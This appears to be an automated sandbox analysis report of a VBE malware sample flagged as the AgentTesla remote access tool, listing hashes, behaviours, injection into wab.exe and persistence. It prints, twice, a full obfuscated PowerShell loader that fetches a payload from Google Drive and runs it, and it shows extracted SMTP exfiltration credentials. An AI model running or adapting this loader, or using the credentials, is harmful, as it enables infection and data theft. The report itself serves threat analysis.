Analysis
-
max time kernel
149s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
21/05/2024, 03:42
Static task
static1
Behavioral task
behavioral1
Sample
101764ZAM2024.vbe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
101764ZAM2024.vbe
Resource
win10v2004-20240426-en
General
-
Target
101764ZAM2024.vbe
-
Size
5KB
-
MD5
9bb236cdb3b35307af7d461c7fb89080
-
SHA1
c15e1237916d8b15f6123b1f5fe71bea8ca05145
-
SHA256
7e82648e3ef3dbd61b8770817368ab2a475a2a7e0409acc7be80b725f72d03bd
-
SHA512
ce235a07bde29a9317cde50b23f2b84b20c9463cce0f8a63f37385f03936b232029631596b7aab16137dacc6257478d805d73fef117f686e1c8a981010e739fc
-
SSDEEP
96:QqROsb4v4l8zpMXx1LGkAo2ccqknNjD4VesDn5eoxDdHZ1bte+drO8CDnlufp:QTyK4l8za/LGAcqwD477fFLbte+U8CD+
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.raczki.pl - Port:
587 - Username:
[email protected] - Password:
obslugaradygminy - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Blocklisted process makes network request 2 IoCs
flow pid Process 5 2660 powershell.exe 7 2660 powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Windows\CurrentVersion\Run\fMNDB = "C:\\Users\\Admin\\AppData\\Roaming\\fMNDB\\fMNDB.exe" wab.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 4 drive.google.com 5 drive.google.com 9 drive.google.com -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 1616 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2680 powershell.exe 1616 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2680 set thread context of 1616 2680 powershell.exe 34 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2660 powershell.exe 2680 powershell.exe 2680 powershell.exe 1616 wab.exe 1616 wab.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 2680 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2660 powershell.exe Token: SeDebugPrivilege 2680 powershell.exe Token: SeDebugPrivilege 1616 wab.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2964 wrote to memory of 2660 2964 WScript.exe 29 PID 2964 wrote to memory of 2660 2964 WScript.exe 29 PID 2964 wrote to memory of 2660 2964 WScript.exe 29 PID 2660 wrote to memory of 2544 2660 powershell.exe 31 PID 2660 wrote to memory of 2544 2660 powershell.exe 31 PID 2660 wrote to memory of 2544 2660 powershell.exe 31 PID 2660 wrote to memory of 2680 2660 powershell.exe 32 PID 2660 wrote to memory of 2680 2660 powershell.exe 32 PID 2660 wrote to memory of 2680 2660 powershell.exe 32 PID 2660 wrote to memory of 2680 2660 powershell.exe 32 PID 2680 wrote to memory of 2500 2680 powershell.exe 33 PID 2680 wrote to memory of 2500 2680 powershell.exe 33 PID 2680 wrote to memory of 2500 2680 powershell.exe 33 PID 2680 wrote to memory of 2500 2680 powershell.exe 33 PID 2680 wrote to memory of 1616 2680 powershell.exe 34 PID 2680 wrote to memory of 1616 2680 powershell.exe 34 PID 2680 wrote to memory of 1616 2680 powershell.exe 34 PID 2680 wrote to memory of 1616 2680 powershell.exe 34 PID 2680 wrote to memory of 1616 2680 powershell.exe 34 PID 2680 wrote to memory of 1616 2680 powershell.exe 34
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\101764ZAM2024.vbe"1⤵
- Suspicious use of WriteProcessMemory
PID:2964 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Stodgier42 = 1;$Demasculinizingntravense='Sub';$Demasculinizingntravense+='strin';$Demasculinizingntravense+='g';Function Spanopnea($Prevacating){$Lazars138=$Prevacating.Length-$Stodgier42;For($Demasculinizing=1;$Demasculinizing -lt $Lazars138;$Demasculinizing+=2){$Miracicidia+=$Prevacating.$Demasculinizingntravense.Invoke( $Demasculinizing, $Stodgier42);}$Miracicidia;}function Boobyism21($Drago){& ($Afmrkningsplen) ($Drago);}$Alveolarerne=Spanopnea '.M o zBi l,l,a /S5G..0M d( Wsi n.d o,w s lN T. .1 0H..0 ;P WCi.nD6D4I;D x 6S4 ;. DrIv :,1S2 1 .E0S)T EG eMcBkKoL/.2 0B1F0 0.1D0,1t FFiTr,e fTo,x / 1P2B1O. 0h ';$Croup=Spanopnea ' UDsSePrD- A,gBe n tG ';$Euphenics=Spanopnea 'Lh.tGt pPsS: /m/ dUrAiPvCe..SgGoVo gPl.eB.FcToRm /Mu.c ?UeaxGpOo r t =CdTo.w.n lBo a d,&GiDd = 1SS.nNI -,a.RIm,y cA3K4vQ fAsLW,o o _ CCK JSc h.e jVC 2B7 pSQ uG9 ';$Chevronwise=Spanopnea ',> ';$Afmrkningsplen=Spanopnea 'TiKe,x. ';$Followings='Peasanthood';$Grafiksystemets = Spanopnea ',e cSh,om R% a p p dSaSt a %K\ M.a,nVatvUesl . S.kBo M& &, eUcFh oP StS ';Boobyism21 (Spanopnea ' $ gBlAo.b a.lF:.F.aZr y ngg aEl =h(Rc mBd /,cA ,$BG,r.aHfNi,k sPy s tpe,m e tAsK), ');Boobyism21 (Spanopnea ',$NgAllo.bVa l.: RCeStPr.oTv.iBsTiHo nR2A9C=P$ E,u p,hPe,n,iCc sS.Ss pPlDiHtS( $BCShCe,vKrPoFn wBiUs,e,) ');$Euphenics=$Retrovision29[0];$Dekompressionskammeret= (Spanopnea 'B$CgAlUo.b.a l :sRNe,eBkCs p.o,r,t eLrNi n,g eDr,nHeu=LN e wF- O bPj,eAc.tP SFyKs t e m .,NDeLtI.,W e b.C l iLeAnIt');$Dekompressionskammeret+=$Faryngal[1];Boobyism21 ($Dekompressionskammeret);Boobyism21 (Spanopnea 'G$ARae eTkIs p,oCrHtre.rJiSnSg e.r nFe,.DHbeCa d,eBr,sS[L$ C rPo u pS] =K$.ACl.v eFo,lRaEr e r.ndeL ');$Crossfiring=Spanopnea 'S$BRYeueOkBs,p oIrNtCe,rNiAnDgMeOr nQei.ID o w n lko a dMFOi lGeM(.$SECuMp h,e nBi c.s.,F$RSNuBsPsLo.)F ';$Susso=$Faryngal[0];Boobyism21 (Spanopnea 'F$,g,l,o b.aRlS: B rTe v i.r.oRs tFrSi nfe sL=I(HTie s tT-,PCaOt,h. $.SBuEs.s,oD)B ');while (!$Brevirostrines) {Boobyism21 (Spanopnea 'L$hgDlUoUb aAl.: VdeudMlFikgAe.h o,lFdDeDl sEe.s.kMoWnBtAo s =Q$ t r uKeM ') ;Boobyism21 $Crossfiring;Boobyism21 (Spanopnea '.SUtLaJrSt -.S,l,eDe,p. 4T ');Boobyism21 (Spanopnea 'O$ g lToCb.aUl :NB.r e vUiGr.oBsFt r,i.n e su= (TT eVsCtS- P.a,t hA $HSTu s.sDo ). ') ;Boobyism21 (Spanopnea ',$Egel ocb,aOl.:.C oFnBt e m,p eBrJaNtPe =.$ugDl oFbfa lA:LSOaMlOt,l a gEe s +.+K%c$.Rdegt.rAo vSiFs i.o n 2T9 .,c o u nPtK ') ;$Euphenics=$Retrovision29[$Contemperate];}$Udtolkningens=361885;$Resedagrnnes=26700;Boobyism21 (Spanopnea 's$ gTl oObOa l :AODrpthh o.x.aGzLiSn h=. G.edt -BCNoNnOt eInHtA J$NSsu.s,s o. ');Boobyism21 (Spanopnea ' $ g l.o b,aLl,: SSk o,lNe b oNgUs f o rsfLa.t,tHe r nNeWs, L=. [ESAy.s t.e m,.,CRoOnIv e r,tt],:S:OFfrHo.mTB aCs eD6 4 SMtSr i.n gT( $,O.r tThPo x aSztiMn ) ');Boobyism21 (Spanopnea ',$Ag leo b a lD:HF.oMlBkSe bPa a dSsB R=O [.SByLs t,eFm..FTEeNx.t .ME.n.c oAdIiBn gH] :S: ABSAC,IAIN. GmeStRSFtkrGiNnBg.(.$KSPkHo l e,b.o,gNsUf o rAf,a.t,t e rUn.eTs )P ');Boobyism21 (Spanopnea 'C$RgSlPoSbSa,lm: D.i s fCaLvPo rVs.=S$SF.ohlFkBe,b,a aBdAsA.,sFu bSs,tpr isnPg.(B$UUAd t oKlFk,n iKn.g.eBn s,, $URSe s,e,d,a g r,n nSe s )G ');Boobyism21 $Disfavors;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2660 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Manavel.Sko && echo t"3⤵PID:2544
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Stodgier42 = 1;$Demasculinizingntravense='Sub';$Demasculinizingntravense+='strin';$Demasculinizingntravense+='g';Function Spanopnea($Prevacating){$Lazars138=$Prevacating.Length-$Stodgier42;For($Demasculinizing=1;$Demasculinizing -lt $Lazars138;$Demasculinizing+=2){$Miracicidia+=$Prevacating.$Demasculinizingntravense.Invoke( $Demasculinizing, $Stodgier42);}$Miracicidia;}function Boobyism21($Drago){& ($Afmrkningsplen) ($Drago);}$Alveolarerne=Spanopnea '.M o zBi l,l,a /S5G..0M d( Wsi n.d o,w s lN T. .1 0H..0 ;P WCi.nD6D4I;D x 6S4 ;. DrIv :,1S2 1 .E0S)T EG eMcBkKoL/.2 0B1F0 0.1D0,1t FFiTr,e fTo,x / 1P2B1O. 0h ';$Croup=Spanopnea ' UDsSePrD- A,gBe n tG ';$Euphenics=Spanopnea 'Lh.tGt pPsS: /m/ dUrAiPvCe..SgGoVo gPl.eB.FcToRm /Mu.c ?UeaxGpOo r t =CdTo.w.n lBo a d,&GiDd = 1SS.nNI -,a.RIm,y cA3K4vQ fAsLW,o o _ CCK JSc h.e jVC 2B7 pSQ uG9 ';$Chevronwise=Spanopnea ',> ';$Afmrkningsplen=Spanopnea 'TiKe,x. ';$Followings='Peasanthood';$Grafiksystemets = Spanopnea ',e cSh,om R% a p p dSaSt a %K\ M.a,nVatvUesl . S.kBo M& &, eUcFh oP StS ';Boobyism21 (Spanopnea ' $ gBlAo.b a.lF:.F.aZr y ngg aEl =h(Rc mBd /,cA ,$BG,r.aHfNi,k sPy s tpe,m e tAsK), ');Boobyism21 (Spanopnea ',$NgAllo.bVa l.: RCeStPr.oTv.iBsTiHo nR2A9C=P$ E,u p,hPe,n,iCc sS.Ss pPlDiHtS( $BCShCe,vKrPoFn wBiUs,e,) ');$Euphenics=$Retrovision29[0];$Dekompressionskammeret= (Spanopnea 'B$CgAlUo.b.a l :sRNe,eBkCs p.o,r,t eLrNi n,g eDr,nHeu=LN e wF- O bPj,eAc.tP SFyKs t e m .,NDeLtI.,W e b.C l iLeAnIt');$Dekompressionskammeret+=$Faryngal[1];Boobyism21 ($Dekompressionskammeret);Boobyism21 (Spanopnea 'G$ARae eTkIs p,oCrHtre.rJiSnSg e.r nFe,.DHbeCa d,eBr,sS[L$ C rPo u pS] =K$.ACl.v eFo,lRaEr e r.ndeL ');$Crossfiring=Spanopnea 'S$BRYeueOkBs,p oIrNtCe,rNiAnDgMeOr nQei.ID o w n lko a dMFOi lGeM(.$SECuMp h,e nBi c.s.,F$RSNuBsPsLo.)F ';$Susso=$Faryngal[0];Boobyism21 (Spanopnea 'F$,g,l,o b.aRlS: B rTe v i.r.oRs tFrSi nfe sL=I(HTie s tT-,PCaOt,h. $.SBuEs.s,oD)B ');while (!$Brevirostrines) {Boobyism21 (Spanopnea 'L$hgDlUoUb aAl.: VdeudMlFikgAe.h o,lFdDeDl sEe.s.kMoWnBtAo s =Q$ t r uKeM ') ;Boobyism21 $Crossfiring;Boobyism21 (Spanopnea '.SUtLaJrSt -.S,l,eDe,p. 4T ');Boobyism21 (Spanopnea 'O$ g lToCb.aUl :NB.r e vUiGr.oBsFt r,i.n e su= (TT eVsCtS- P.a,t hA $HSTu s.sDo ). ') ;Boobyism21 (Spanopnea ',$Egel ocb,aOl.:.C oFnBt e m,p eBrJaNtPe =.$ugDl oFbfa lA:LSOaMlOt,l a gEe s +.+K%c$.Rdegt.rAo vSiFs i.o n 2T9 .,c o u nPtK ') ;$Euphenics=$Retrovision29[$Contemperate];}$Udtolkningens=361885;$Resedagrnnes=26700;Boobyism21 (Spanopnea 's$ gTl oObOa l :AODrpthh o.x.aGzLiSn h=. G.edt -BCNoNnOt eInHtA J$NSsu.s,s o. ');Boobyism21 (Spanopnea ' $ g l.o b,aLl,: SSk o,lNe b oNgUs f o rsfLa.t,tHe r nNeWs, L=. [ESAy.s t.e m,.,CRoOnIv e r,tt],:S:OFfrHo.mTB aCs eD6 4 SMtSr i.n gT( $,O.r tThPo x aSztiMn ) ');Boobyism21 (Spanopnea ',$Ag leo b a lD:HF.oMlBkSe bPa a dSsB R=O [.SByLs t,eFm..FTEeNx.t .ME.n.c oAdIiBn gH] :S: ABSAC,IAIN. GmeStRSFtkrGiNnBg.(.$KSPkHo l e,b.o,gNsUf o rAf,a.t,t e rUn.eTs )P ');Boobyism21 (Spanopnea 'C$RgSlPoSbSa,lm: D.i s fCaLvPo rVs.=S$SF.ohlFkBe,b,a aBdAsA.,sFu bSs,tpr isnPg.(B$UUAd t oKlFk,n iKn.g.eBn s,, $URSe s,e,d,a g r,n nSe s )G ');Boobyism21 $Disfavors;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2680 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Manavel.Sko && echo t"4⤵PID:2500
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Adds Run key to start application
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1616
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
505KB
MD59b1ceeb7dda4146c3b37573fe7a25989
SHA14849d1f229be1e3e06add30e5104def9f6850a32
SHA25658da4bc32b6bee6d8b9271cd505ff2a9d7cc1b69876fb17857f94710c88a39fc
SHA512a5ea3cc5be27417367c800bb4f420487b43d9e4bf5be5ce1dde74a6968a54300f92a0b8d45fbde6df7bd906e14eb8ca0ffdd1c4e9345aee53d123e72a795b706
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AH08WIVJ2AW44Y48YBSI.temp
Filesize7KB
MD50705f4e9e6786164c5fe702ea2565119
SHA1d96468731eeda31d350b803348ba843c8b1d353c
SHA2562fb848dd1c335fac0793d0e8e4e0c96e16e444fcbeac82fe2d0dc67ad8d6c0a8
SHA512f49b5b2763ef373ca81cca74059807df15853d05059aa0562f100e55cc1692b671a12eb7055127c5d3ca4e01eb68cd7e8897c09b2336ca2edddedd006599c663